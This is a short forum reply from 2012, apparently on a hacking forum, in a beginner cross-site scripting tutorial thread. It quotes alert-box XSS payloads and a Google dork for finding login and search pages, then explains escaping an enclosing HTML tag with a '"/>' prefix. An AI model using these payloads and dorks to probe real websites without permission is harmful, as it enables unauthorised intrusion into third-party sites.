RE: Basic xss tutorial 09-07-2012, 07:24 PM
#13
(09-07-2012, 06:06 PM)chipp Wrote: i tried to use this:
andCode:<script>alert("xss")</script>
but it doesn't workCode:<script>alert(String.fromCharCode(88,83,83))</script>
i'm using this dork:
Code:inurl:login.html inurl:search.html
why it doesn't work?
Some times/ in most time you will have to escape the tag your in. One of the ways to do this is bu inserting "/> in front of your script. Like this
Code:
"/><script>alert("Anima Templi")</script>You can add me on skype and i will be able to help you in a better way.
skype: Anima.Templi


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)